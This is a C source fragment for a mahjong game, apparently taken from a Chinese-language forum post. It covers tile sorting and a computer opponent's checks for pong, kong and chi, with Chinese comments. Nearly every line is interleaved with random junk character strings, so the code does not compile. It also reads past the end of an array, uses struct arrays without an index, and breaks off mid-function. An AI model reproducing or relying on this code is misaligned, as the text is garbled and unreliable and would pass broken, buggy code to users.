3 i- q( P7 [6 w4 p/ X8 V8 {. qvoid melipai()2 y2 T, G' K3 J6 P$ X3 e5 H) Y
{ int n,j,u;' G# l* r- G$ |. ~+ A# o
int *lingshi;  P+ j, c# m  U: S
for(n=0;n&lt;me.m;n++)  Z# y# r7 |9 i9 b! C9 e, ~
for(j=n;j&lt;me.m;j++)7 |. g" x9 I2 ~! _3 ~
{
* m! x' M0 e! _6 lif(me.pp[n].number&gt;me.pp[j+1].number). @3 y3 i+ Z4 C1 d- @
{
0 @; L* _9 ^' y/ q- blingshi=me.pp[n].k;
" }0 M/ b* c  `+ b: b1 [me.pp[n].k=me.pp[j+1].k;7 w; K4 M+ Q8 A; ]9 o) p
me.pp[j+1].k=lingshi;
4 p! L; C" ]9 c7 M! d2 P0 n5 w2 R6 yu=me.pp[n].oneorfour;
  m0 {: p6 K" F0 ]: Tme.pp[n].oneorfour=me.pp[j+1].oneorfour;5 y$ w& O8 i; n- L# v% r6 ]4 T9 ~
me.pp[j+1].oneorfour=u;
, q* o3 X# T$ w7 l' g6 U0 Y  zu=me.pp[n].number;
! @0 j# O3 V* `me.pp[n].number=me.pp[j+1].number;
0 R& \# c8 P; Tme.pp[j+1].number=u;
6 s, P* ]$ s. B+ f}/ ]+ Y! E" C) F! b0 s2 B
else
1 K1 B, p. j) ]* T  G% q8 Eif(me.pp[n].number==me.pp[j+1].number)
* W! F$ {1 U7 l+ Dif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
, N& \# F8 \- N9 L6 }/ `. k{
/ W% o% @8 m$ X( S' B8 C* J; Olingshi=me.pp[n].k;7 c6 v% b5 o) o9 S, D: I
me.pp[n].k=me.pp[j+1].k;
8 o; {6 r) P6 C: p$ [- Kme.pp[j+1].k=lingshi;
; [4 ~2 v& Z" B8 n2 ^3 U4 B% Nu=me.pp[n].oneorfour;
. k0 w/ G' o" K( P7 E$ ]* Fme.pp[n].oneorfour=me.pp[j+1].oneorfour;- ?4 O5 ?6 n- D7 u8 J7 G  Q
me.pp[j+1].oneorfour=u;  q( A7 g" O* k
u=me.pp[n].number;
5 D: }& Y% ]1 l/ ^' sme.pp[n].number=me.pp[j+1].number;, A+ T0 t- x: k" ^
me.pp[j+1].number=u;
7 A2 V/ N, i4 o( q3 R" r" z7 {- V}- ]5 N+ g$ u3 o* ~5 H7 `
}# ?- F; m! y( g( x# _8 z, d- y
}* J( c, {# T, l4 L
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
; n8 y4 H& s0 ]. W! Y2 C' y( @" b{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
5 M$ b: X' r$ W8 j6 P& m# hif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)7 t4 D: F; i) Q' g
{; R8 \8 N" a+ V) Q
logo=1;
; Y+ D; d% B5 G0 ^* w1 \+ Oif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
1 x/ U5 S& z" d  Hlogoo=1;
: {5 F' F# G& pelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)% L9 n3 f' }$ B, \& Y
logoo=2;3 D1 |- s& F  ]" {+ G$ W
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
  ]) d, h' }1 n9 ~  slogoo=3;; b6 H$ [) H. }1 K; s. Y6 a' i
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
* o6 S# Z- ]  P) g; F9 slogoo=4;
6 w* ]9 u; U+ g& |! `, _. Ielse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)8 ~3 s& Z1 X3 i7 n& `# n) U
logoo=5;
" ^1 e% @5 d: H: ]else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)( b, a; H2 D! \1 m( D
logoo=6;3 [9 G% I0 e) P# f0 ~) ?
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24); \( a2 B0 c" W, N# _
logoo=7;+ w; o- h6 {7 }- a
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
8 C  a) }' U5 z' E" W7 |logoo=8;
- C- \* @+ w8 |# S5 J8 \else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)0 m0 b% b/ Q# q8 t$ k: C
logoo=9;* r5 |% V0 i6 {5 P+ A% J
}$ [3 ?9 W- O' c; X* I$ ]
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36); F2 L# l" I& p0 V0 N$ k$ r
{/ B6 k1 |! g3 A6 c# ?
logo=2;
' K8 c5 x( N. _3 R$ ?1 dif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
% u% Z, S9 I: R+ Elogoo=1;
( t0 `$ a# u/ P8 d$ c  T9 \( melse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)8 J$ l3 N0 z) N( c9 u
logoo=2;
- p6 ^0 ^; n, P5 |$ Selse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)$ {7 r0 }: a* N; g# K( c$ W
logoo=3;
3 H2 K( ?; I' qelse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)! L! E1 v. a3 Y6 y
logoo=4;" L' u/ ^1 j9 R0 `4 d/ G
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
/ l4 o2 b  M- Y* k. W7 ]logoo=5;
" u: R) x  p6 n6 [) |6 s) t  x& U( Velse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56): O# F9 t3 x( a' [" O2 f2 O/ d
logoo=6;) }5 m( s0 o6 ?% c7 d# w* |( h
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)2 Q0 i* I" }/ ~3 k6 u
logoo=7;
) q7 Z4 Z6 j8 n  Q6 Telse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
" ^7 u$ E: I# h8 `: F( H, R* Mlogoo=8;8 C& u, @# c" @0 \; F% R
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
$ W/ A! j6 S- m% O: Q4 Plogoo=9;0 B0 _- V2 r' N/ p
}6 }) l1 s: O' Y3 l: E7 A* c
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)* L4 \4 q; ?! I0 Y) ?% a
{7 u% ^6 ]4 V; I& ]3 j) a: S
logo=3;! r& F0 S5 g* d1 H
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
: R0 H% S1 x: e  ~& @4 `logoo=1;3 p5 x9 d" M  a, o
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
% m& G1 M- E7 f/ C; N7 zlogoo=2;) M; F# U% D7 n! \  |3 s" B
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)$ q; `- O& F& C7 t' K- n5 c& Z& H( B
logoo=3;7 b8 w  V" d" e* P3 ^5 @& x! y
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
6 |1 p' d" x! u5 Dlogoo=4;2 G, L" x$ G" U/ h6 X) z
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
, R% m" J% X, f# |1 }1 O( s, tlogoo=5;
1 Q5 O% Y2 Y0 R- C8 Ielse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
% w! @  ^0 u; M: Xlogoo=6;6 _1 N3 ]/ @) h# j. G
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)1 P9 y, o) C! F6 U
logoo=7;8 w" r# }/ {% w( p6 E3 w, p
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)% K( \# q& E5 D/ b. ^( q: q
logoo=8;
, V3 C% h' {6 Zelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104); E$ z- R* g, q9 L- h$ w
logoo=9;
& f; p+ g6 R/ `$ p0 [% l; A}
3 B. w9 F; `. q/ A% }2 r& Z; O7 Zelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
' }! V2 t: Y/ h8 p! a{
. Z7 m1 ]7 t5 v8 @: ~) ^# {logo=4;2 ^. J! E: p) |: w* Q7 y9 a
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
  L) p6 }3 M# ^4 |! E7 |$ s" jlogoo=1;: w! O( \) _6 F, T& L3 q8 C
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)1 k8 k- l# d4 [! Q: I
logoo=2;4 p0 o0 T6 y/ R" C7 S) t
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116); y$ |$ ~5 G0 C# N+ J% c" ~& u
logoo=3;- g( c; E7 {% S/ @. k
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
9 V4 I# V2 x3 ?3 v6 Flogoo=4;
* {- K* ^5 ^3 f' B7 g% k' yelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)2 P0 c+ n; m" k) ]% N
logoo=5;( z  F- R: P' x% q0 ~$ @
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128): Y3 `8 |6 ^5 H$ X
logoo=6;# S- ^: _, c9 u  E8 m9 {
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132). B$ q$ m7 a' T- E' U* H0 v* @
logoo=7;
3 P: l! m' l9 c! j# e1 v" A}" v1 R( ]" o; b9 @& _
while(b&lt;=computer.m). [0 j1 n9 A* `, `
{
* l: @% H3 o' k. gif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
" j# M% x0 p, M{: V: Y- x/ C1 j: y" I2 }8 l
lg=1;: N& S+ J, D* @1 F9 h
computer.pp.d[0]=1;5 \+ I0 Q; l# O; f3 x) l
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
5 t4 s1 Q2 `; D' C- h8 {9 j{. X* n, z% U% @& s8 H1 C- {* F
lgg=1;' Q$ e# ]2 e! F
computer.pp.d[1]=1;. J/ Z, t6 F2 k
}1 ], E7 P8 K) _: Q% b* {. H
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
* I* S4 e! Z3 F* J6 Y9 H{
5 g- T8 I( z9 @1 Y/ r& O, D5 Blgg=2;
+ \9 l0 n- F7 g1 q8 c+ ~8 }computer.pp.d[1]=2;* I7 q: Z5 E# ]: Q
}' u# z( m% B, H* l* r
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
: p# h" c" R2 y  \  _; o( c{" s$ O8 {, {* m0 _# h
lgg=3;5 S; L" _/ N' G% t: b& j; w
computer.pp.d[1]=3;
2 y3 R8 Y+ z, F}# W8 `( m: h, F' a) Z7 [
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12): p9 k! O7 R: v9 H
{
, ], r- U6 [. k. xlgg=4;% X$ h8 K0 M0 A- u) t1 U% ?
computer.pp.d[1]=4;% P* Q3 F! y$ l
}
9 G( i+ k5 x/ H4 zelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)) P. N7 u, u: B3 V, W5 p: W
{- P  r' [) [/ G7 M
lgg=5;
9 p0 y8 Q. f; p. {2 [' r) T; y' dcomputer.pp.d[1]=5;- _; ~0 I6 y- |) N! |
}% o3 R3 P1 s0 Q& F
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)- i7 l! S2 c9 {9 m- T1 p- C  H
{+ ]- x4 C9 B: C" V
lgg=6;" z" h" F! R, ^: j
computer.pp.d[1]=6;% q) L$ M4 c7 [. S# _4 i
}
# U5 f! C& q- [  o; [4 Selse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
& H" f( R% g" C3 P{
- r2 X+ X4 }& N; f; C# ilgg=7;5 e/ w' K8 G; k
computer.pp.d[1]=7;
7 s* B% b2 |; w, u" ]% f! l5 y}/ w& _+ h0 |5 L8 w# c9 |0 V
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)* |$ O0 P' C; h6 f) p
{9 \* N$ f! P6 s0 o% k) {7 f: i
lgg=8;
7 B* T; k- q, M1 Ocomputer.pp.d[1]=8;5 a# T$ C4 q4 u
}- }* J& D' ~; H. q' b6 |  {$ b
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)/ @5 G/ ]5 Z1 L  J6 ]
{
8 `' p: K2 {1 E1 l  z* glgg=9;
4 d  q  _% {5 r9 gcomputer.pp.d[1]=9;- R7 v' A3 p7 f! K# S/ C) k
}
3 U+ V6 a& Y2 @- K3 _3 T}4 _4 x2 R) v7 M/ x5 m. B
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
4 m# G8 D; U2 w, m{) |' k! _7 K! u
lg=2;! m6 }1 q: z6 }9 I! k0 M
computer.pp.d[0]=2;7 I- ^: E% B  ]2 A6 p
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
+ `. a* [+ a2 q9 s& o3 f{
. l- c: m/ ?- f0 f4 F, ylgg=1;
# x. L, h6 B! c: H, Y  X4 r2 Vcomputer.pp.d[1]=1;5 n. j0 B/ z- I7 N" b$ n4 f
}
" w# c6 q1 }4 m. M# P( }else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
! {3 H( K! o- g* y6 Y6 s+ k9 }{
' _9 d, w; e1 |, M! H2 }lgg=2;- Q. G9 K# n9 ]# G; {
computer.pp.d[1]=2;
/ c! m7 v1 s: v% H6 E) ]}; @5 g, j$ j' j. A- m
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
( I, E# c# ]. s5 m& m0 F1 A* [( ^{2 Q/ X# W8 L. d) ^# ^9 t/ b9 X
lgg=3;
# _, B6 ^  x$ ]; Ccomputer.pp.d[1]=3;( L# V5 G1 i6 k5 P
}
6 r5 g! T5 W% L/ n+ q% ~else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48). C' J2 s! G) l$ \: Q0 O
{
! [; x% x# J+ Q+ ]lgg=4;
6 _: D2 |2 |4 m1 C7 G( F; Fcomputer.pp.d[1]=4;' y5 A! e- m! a5 N* o' v
}& ~/ b6 a0 y* @. ?4 C
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)4 T* D9 E, O6 J( ~. b! O4 p& c
{' X$ ^1 Z: H+ q* f2 J4 |
lgg=5;9 \! N" {" F4 ]' f  Q# q* P3 h7 L
computer.pp.d[1]=5;* U* |* v! }1 B* u" V* D) a8 t3 {4 E
}
! ]# N' E4 V7 ^- belse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
- V& u( ~' o0 P$ [2 m# `{; V- J: c2 e, C5 H
lgg=6;
8 H6 f/ P6 f* `/ F7 Dcomputer.pp.d[1]=6;3 l9 @$ ~2 V# y3 \
}
$ p, ~- s! d6 O' f. \else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)$ i0 ^. G( u3 a! p
{
. T" m5 E5 ~9 g( h0 `  P" U) x/ wlgg=7;: C0 e) S, l  J
computer.pp.d[1]=7;
% p8 ?& k, x+ ~) h0 V}' y& W+ f+ q1 Y( z4 v
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)" z% x! q. |- x( ^; l8 O0 y; a* r% j
{. o1 b+ S0 h+ \: x
lgg=8;& M0 b) z7 H5 X+ p" C* [* o' j' g
computer.pp.d[1]=8;" m1 I+ C8 z, a+ Y3 u3 m5 L( c
}
8 Y4 r" E7 L3 Y" delse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
0 |8 ~0 u. m( }8 b% I' o{
) G0 M0 e  i9 H8 T* ?, `& q7 glgg=9;, Q# g" o- n; ?5 |
computer.pp.d[1]=9;
$ f5 h: q0 o) @! _# I}2 h" C9 }9 L, Q) x! D
}% A8 Q( J3 d# w6 y0 {0 E9 s/ g
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)8 m/ Y. H% b! i3 Y
{
- C2 q6 T' Q# T; J) F; }1 Rlg=3;
" X. h& }3 u9 C/ L! c5 Dcomputer.pp.d[0]=3;
4 w) h# q6 n2 ^( I! H! x/ M% Xif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)- g. D3 H' R) E( y, |: ]0 @4 b
{
, N! v7 S6 [$ e/ ^1 v' ylgg=1;
. Z, l% j7 |5 f8 \" Gcomputer.pp.d[1]=1;
! ]7 A0 x6 R1 s7 s; g$ |9 T$ |2 x}
# S9 u9 _7 F0 ]else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)9 q* m" k0 S* }, Q
{6 `0 s; Y( x: T
lgg=2;+ F! d- H: Y# ~* m! C4 ~5 J
computer.pp.d[1]=2;
0 l; u+ r4 o5 x}" K; a2 r( ~+ O# ^0 L% r
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
; N$ i. a) `! C+ R4 g{2 {0 @  e" N: B& J
lgg=3;2 ~, |! ?8 D' d. M" t/ a4 x
computer.pp.d[1]=3;. J1 b1 K& ?  y3 ~( q
}
* f  m7 L0 A" v4 s+ ^else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)/ o. f8 P3 Q% x  X! p; O9 u( L
{' n$ r. x# q7 d* O
lgg=4;
# ]6 a  k) a- [0 Y/ I7 pcomputer.pp.d[1]=4;' F9 b0 ]# z9 z0 _+ v
}
6 V  |0 y9 k0 k8 [% ~) belse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88): }  R) [& j4 U# D+ n3 P/ O
{
. G8 x6 V" X  H& Zlgg=5;/ J9 z5 G! l- b0 G+ U5 G$ L
computer.pp.d[1]=5;
5 t  ~% \1 M" {+ y5 {}5 g& u# [8 v  z! V' |! a" A
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)- U4 r/ ]+ q+ e, Q
{
( @9 h8 A, |% y8 ^" q- d7 v' }7 Clgg=6;
# h0 y9 n. J! S$ x$ k3 H& v$ n* ^computer.pp.d[1]=6;6 Y0 K# w+ s6 y0 m+ i/ E! ^" j
}: M$ G: a* N! m, u& g3 y
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
' r# H+ Z& K- k6 m, q{
5 B2 C& R7 K5 \4 p. ]3 }! p. olgg=7;
- @! q; r! t( I( L6 R2 C9 \computer.pp.d[1]=7;
# i. {: m, K! k9 F" g8 Q) R}3 Y( f1 k6 z" H
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
. H( K5 L( J: Y2 T5 [' e$ d* x{
8 V: @( i* W) ?- V; {( x2 Clgg=8;0 N+ H& }# c% i/ O: B* Q
computer.pp.d[1]=8;  i, |  u! q5 m& V( y% y
}
" f) Q3 ^, F: a% }. P2 celse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
7 b+ P# ]4 [: V, X{
% K3 E1 I4 W8 V( g2 }& t* ~( u+ F9 Vlgg=9;: r  t' j1 I7 E- i) X
computer.pp.d[1]=9;( B; j7 y( X) M
}
0 [* j) U) s6 K% n, o& K# }2 @7 O/ e}
' O; H) e1 }" D4 l" s, H, F' }9 Welse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
% X1 N& g9 b  O/ n* K% d{" e& O5 D  d2 f# M
lg=4;! K0 \9 H. i8 d6 Y
computer.pp.d[0]=4;
) `' o; ^, f3 o7 Z- }/ zif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
4 D- O) B& F' W$ ^8 u6 t7 R/ A{
' q, r; W) n. K2 M# K  Blgg=1;
) P" {1 S/ ~5 C' b7 U" S4 Bcomputer.pp.d[1]=1;
! F# L. @7 w% a- u}
& e- t3 w% F, Aelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)& V& h3 p+ @  n2 Z( L0 b. V+ H
{& t! ^- z, R( F( Z, k) Z
lgg=2;* k# D$ X$ z- ^, W" L* a& J
computer.pp.d[1]=2;* d% z2 N5 a! Z, g+ x1 ?0 o: b* s( f
}
! p! h0 |( z% h; i% delse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
  H, I  f2 N* j{
2 V, d2 U' g( Glgg=3;+ F& ^# o+ E2 |/ y! {
computer.pp.d[1]=3;
9 c3 H& f$ @) g}
$ l' g6 u! v( S% ?4 F/ N2 |0 Belse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120): c! U* }* \9 y  a. o2 y
{; w8 r2 W; Q1 J% ^' P, r
lgg=4;
# z) l( ~# p3 D/ {) S: }computer.pp.d[1]=4;: ?8 X# _6 E0 b4 }$ K, |
}; m& }3 H! c" F" W2 r+ v" E, {  n* t
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
) A) \# ?6 L3 A2 n/ W, [; E{( @; Y, N# G( `+ X" ~
lgg=5;- g0 z4 G6 N% z; S, J0 y
computer.pp.d[1]=5;
) L+ z6 O. n0 R. D/ E* W( E( j; b}. V! ]8 D+ _! {3 v8 J
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
* J9 o% z4 b  C4 n* k$ T3 O& S; @/ C{
0 }2 K$ v$ F# G- B8 h' x" S' A6 mlgg=6;
5 A% ]  L! z2 V; S; c) O: c$ Ncomputer.pp.d[1]=6;
! R& P% Q& Z* M* K}
! V. }, a' W8 s/ C+ x. X; }6 L& pelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)+ D' T0 ]- V6 B+ E$ B) }
{
% Z; `7 a! Q* `3 c: Olgg=7;# W9 Q' v8 K4 G5 B) L0 h  q8 U
computer.pp.d[1]=7;
: h3 z% u. m2 {( _}
/ n- R/ g1 V% W$ p( n5 U# a}# G6 i0 t- ^5 ?) e, h

; F& H8 A9 ~+ F/ Zif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
! n) {( O7 ~$ h) ]; |  v5 rif(logoo==lgg)
$ \; I; E% t4 Z6 Spg++;
! P3 b8 [. F% s, Bch.lg=lg; /*保存电脑手里的每张牌的信息*/+ r  B- l) M$ N8 f- U
ch.lgg=lgg;
$ Q5 l$ n- L7 u$ q% X! I5 k. @: e- jlg=0;1 b: O' w+ w! U1 B
lgg=0;, {) @$ j- B) ?
b++;
2 q* g$ ^$ S, K9 ^% R! i( N}
# B3 w- M7 `2 W+ Wif(pg==2) /*乓*/7 ~) T8 ^& l- u+ U9 F4 A3 x
{
7 \' m5 d  u+ |2 q8 P0 l/ x. n
6 k$ n+ F5 F" A6 ^% |sing=1;
& D! s$ d5 @( N/ {b=computer.m;
3 c# k3 L2 i1 j( Y3 cwhile(b!=-1)
9 q1 {9 F4 k0 R2 U, C{
4 ~( c2 n" u  Eif(strcmp(me.pp[c].k,computer.pp.k)==0)
4 h0 f" |9 W9 p  u' qcomputer.pp.p=1;& |) v8 Z* s. D3 Z

- J- r% |) ]/ r1 qb--;/ `$ E+ s" ?- r5 k( c
}+ Y7 ?) X/ s, r2 ]1 ~( F9 P
}8 E* X& l- z6 M+ F# [$ [% X
if(pg==3) /*杠*/  S. N/ k2 S3 C
{
( c& j9 @$ v( d; ]6 G- _! e
8 }& ?1 f' z+ G7 b7 ksing=2;4 R" U8 Y/ t9 Y. n" y
b=computer.m;
& }7 K$ a$ ^+ v( }( @$ K8 Swhile(b!=-1), z7 \6 X/ r! T1 H: z
{
8 y& t; ~. V8 Q  @# ?if(strcmp(me.pp[c].k,computer.pp.k)==0); O% }- S8 B7 {! H
computer.pp.g=1;
" L( {% `* ]4 k$ }: zb--;5 I, b: d1 {" w; |. M# @1 I2 B
}9 B5 L6 o0 Y7 d' R
}
# j. J7 l  f) W& ~9 Q! w9 T1 `- hf=0;9 ]1 V8 j+ r+ ?+ D. R. ?
while(f&lt;computer.m) /*吃的判断*/) @/ @3 w7 M8 G" i3 f2 \+ o9 m
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
1 g! d) R. S, g8 q- c4 M{3 J: e+ P* W0 ~" z2 y+ d: e
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/+ b3 |+ s/ S3 c& W
if(ch[f].lgg-logoo==1)
5 O9 ]7 k5 P6 U4 K{8 e) I: Y7 ^& g* p( k
gp++;
$ G0 D/ L5 R) P8 w6 A; zcomputer.pp[f].c=1;
- P: Z+ b7 C6 Mcomputer.pp[f+1].c=1;
' S/ \& x' e$ ]$ d. S7 i. [}
2 c, Y/ e$ h# t1 nif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
  l# s$ T( M. f- z' xif(ch[f+1].lgg-logoo==-1)
: t* q2 C+ }+ e) U6 i{% j: f; o$ Z* s: P
gp++;
+ [( F6 r( N! ?3 ]. g! kcomputer.pp[f].c=1;
# _5 ^& _1 A+ r, T0 R5 t* ]0 @computer.pp[f+1].c=1;* X5 E. P9 S1 N  ?! r6 U$ _
}/ m& p1 L! r0 G3 V. p6 @% ^
if(ch[f].lgg-logoo==-1) /*中吃*/
" R- v1 B# p; g2 zif(ch[f+1].lgg-logoo==1)
8 J2 G7 z2 S# w' W2 j  F) z0 b{
- Y; L: c7 |; u" Ogp++;6 }& ^  D1 \. l- @
computer.pp[f].c=1;+ u  K% s. r7 ^7 d3 Z( j
computer.pp[f+1].c=1;! a' S- k1 E& a  K8 Q
}! s4 P: g% q) M" ^% {
if(gp==1)  J) o2 F% e0 a( t; ?: T2 E
break;
& N& o0 ], `; r+ t}: Q3 Z& H$ h6 b7 Y* P
f++;
1 _2 x. Q- X$ r  u. w1 s( N2 S}+ b& x3 {. Z* n' N% Q3 Y
if(gp==1)
, U/ w: z; X8 v3 [; r. C6 R{sing=7;. s" V' n; k. J8 ~' G: u6 l- s

  o8 I9 n# F- F& B}6 w$ B( L. T; I/ y
pg=0;/ Q6 ?4 T6 u% K
gp=0;
" `5 c$ C+ n6 S8 e7 fb=0;
  A2 Q7 O" o( Z" R7 F}! C. A9 Y! Q& E  h0 W
void rgznme(int c) /*本程序涵数的核心针对我的牌*/1 R7 ^7 T) w: ?4 c$ Y7 ]
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
' k. A% V1 ^" c% t+ cif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)$ s  J) ~# c; E+ a" P
{( d( j+ y9 l& `+ H) @
logo=1;+ n& w3 D9 \# z) b: w3 N
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
9 P, _6 q; ~* x; [7 tlogoo=1;8 k' R" I) j1 ?2 ]% c% D4 ]
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)& z% L) g' b. ~
logoo=2;$ T8 P, d# U$ _$ U
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)1 O3 j6 m% [% g' j3 y- X$ @
logoo=3;' w0 {9 _3 U/ r1 R5 i
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
  t1 L7 z+ e4 W0 P& w- llogoo=4;
; g: }% t3 O( ]1 o6 {" Ielse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)7 {3 _  H1 a# J( {8 S
logoo=5;! b" d0 f, Q1 m$ ?4 @( D9 Z. c  a
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20), w) V% E( S# [, p
logoo=6;
! A$ u. U, c+ X& Selse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)7 c7 D3 o3 s, q7 N& E
logoo=7;" N. H5 M: H; q# w
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)# Z' Y4 `# L. D4 W
logoo=8;
& C' o! F+ s# }' X2 O- w  jelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)3 k1 C; ]6 W9 i4 G$ W+ @$ c
logoo=9;
, i, Q4 |0 \+ V  b; b/ W}/ U$ s9 g* M9 L2 h) w. q
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)( F. l- o/ x" x+ f0 }
{
! f3 @. C- A2 E4 j: `# Jlogo=2;
* m+ B) R6 x* c* kif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
0 X) h( u/ Z/ |" t: L+ T! _logoo=1;! Q: I+ I- A0 \: _. H
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
2 G+ [( a* N" y6 a) w+ ]0 Clogoo=2;$ N5 x2 M, b; p0 l* w2 H
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
+ F& R: s( W/ Hlogoo=3;2 K+ Q/ Z% f! `( X. J
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
9 l6 x! Q5 R: |. l2 n+ e3 Glogoo=4;4 T  t* {2 c+ a% n3 T/ j: D, Y
